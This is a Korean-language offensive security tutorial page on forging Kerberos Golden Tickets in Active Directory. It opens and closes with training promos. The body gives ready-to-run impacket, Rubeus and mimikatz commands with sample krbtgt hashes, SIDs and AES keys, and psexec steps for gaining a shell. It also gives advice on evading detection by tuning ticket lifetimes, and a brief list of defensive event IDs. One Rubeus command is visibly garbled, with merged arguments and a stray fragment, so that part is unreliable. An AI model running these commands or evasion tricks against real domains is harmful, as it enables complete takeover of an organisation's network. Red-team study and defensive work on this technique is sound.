Golden Ticket

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Golden ticket

Golden Ticket 공격은 NTLM 해시를 사용하여 사용자를 가장한 합법적인 티켓 부여 티켓(TGT)을 생성하는 것으로 구성됩니다. 이 기술은 도메인 내의 모든 서비스나 머신에 접근할 수 있게 해주기 때문에 특히 유리합니다. krbtgt 계정의 자격 증명은 자동으로 업데이트되지 않는다는 점을 기억하는 것이 중요합니다.

krbtgt 계정의 NTLM 해시를 획득하기 위해 다양한 방법을 사용할 수 있습니다. 이는 로컬 보안 권한 하위 시스템 서비스(LSASS) 프로세스 또는 도메인 내의 모든 도메인 컨트롤러(DC)에 위치한 NT 디렉터리 서비스(NTDS.dit) 파일에서 추출할 수 있습니다. 또한, DCsync 공격을 실행하는 것도 이 NTLM 해시를 얻기 위한 또 다른 전략으로, Mimikatz의 lsadump::dcsync 모듈이나 Impacket의 secretsdump.py 스크립트와 같은 도구를 사용하여 수행할 수 있습니다. 이러한 작업을 수행하기 위해서는 도메인 관리자 권한 또는 유사한 수준의 접근 권한이 일반적으로 필요하다는 점을 강조하는 것이 중요합니다.

NTLM 해시는 이 목적을 위한 유효한 방법으로 사용될 수 있지만, 운영 보안상의 이유로 AES(고급 암호화 표준) Kerberos 키(AES128 및 AES256)를 사용하여 티켓을 위조하는 것이 강력히 권장됩니다.

From Linux
python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass
From Windows
# Rubeus
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd

/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt
#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt
.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory

# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi

한 번 golden Ticket이 주입되면, 공유 파일 **(C$)**에 접근할 수 있으며, 서비스를 실행하고 WMI를 사용할 수 있으므로 psexec 또는 wmiexec를 사용하여 셸을 얻을 수 있습니다 (winrm을 통해 셸을 얻을 수 없는 것 같습니다).

일반적인 탐지 우회

golden ticket을 탐지하는 가장 빈번한 방법은 케르베로스 트래픽을 검사하는 것입니다. 기본적으로 Mimikatz는 TGT를 10년 동안 서명하므로, 이후 TGS 요청에서 비정상적으로 보일 것입니다.

Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM

/startoffset, /endin/renewmax 매개변수를 사용하여 시작 오프셋, 기간 및 최대 갱신(모두 분 단위)을 제어합니다.

Get-DomainPolicy | select -expand KerberosPolicy

불행히도, TGT의 수명은 4769에 기록되지 않으므로 Windows 이벤트 로그에서 이 정보를 찾을 수 없습니다. 그러나 이전 4768 없이 4769를 보는 것은 상관관계가 있습니다. TGT 없이 TGS를 요청하는 것은 불가능하며, TGT가 발급된 기록이 없다면 오프라인에서 위조되었음을 추론할 수 있습니다.

이 탐지를 우회하기 위해 다이아몬드 티켓을 확인하세요:

Diamond Ticket

완화

  • 4624: 계정 로그인
  • 4672: 관리자 로그인
  • Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property

수비자가 할 수 있는 다른 작은 트릭은 민감한 사용자에 대한 4769에 경고하는 것입니다. 예를 들어 기본 도메인 관리자 계정과 같은 경우입니다.

참조

  • https://www.tarlogic.com/blog/how-to-attack-kerberos/
  • [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets] (https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-golden-tickets)

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기